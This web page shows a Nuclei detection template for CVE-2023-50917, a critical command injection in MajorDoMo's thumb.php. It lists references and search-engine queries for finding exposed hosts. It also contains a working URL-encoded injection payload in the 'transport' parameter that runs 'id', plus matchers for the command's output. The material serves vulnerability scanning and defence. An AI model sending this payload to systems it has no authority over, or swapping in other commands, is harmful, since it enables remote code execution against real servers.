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MajorDoMo thumb.php - OS Command Injection

ID: CVE-2023-50917

Severity: critical

Author: DhiyaneshDK

Tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm

Description

Section titled “Description”

MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.

YAML Source

Section titled “YAML Source”
id: CVE-2023-50917


info:
  name: MajorDoMo thumb.php - OS Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.
  reference:
    - http://packetstormsecurity.com/files/176273/MajorDoMo-Remote-Code-Execution.html
    - http://seclists.org/fulldisclosure/2023/Dec/19
    - https://github.com/sergejey/majordomo/commit/0662e5ebfb133445ff6154b69c61019357092178
    - https://github.com/sergejey/majordomo/commit/3ec3ffb863ea3c2661ab27d398776c551f4daaac
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50917
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-50917
    cwe-id: CWE-77
    epss-score: 0.70095
    epss-percentile: 0.98019
    cpe: cpe:2.3:a:mjdm:majordomo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mjdm
    product: majordomo
    shodan-query: http.favicon.hash:1903390397
    fofa-query:
      - app="MajordomoSL"
      - app="majordomosl"
      - icon_hash=1903390397
  tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm


http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
          - 'rtsp_transport'
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cc32a6f4e00533da095bdc96dd5cb3b05051a0914611fd77fb9b7d0d3e3de2f8022100dc4e243fa3c0a84aa435e266ea164a1d1bb4f5253aa1bc569452e7d40e7b032a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-50917.yaml"

View on Github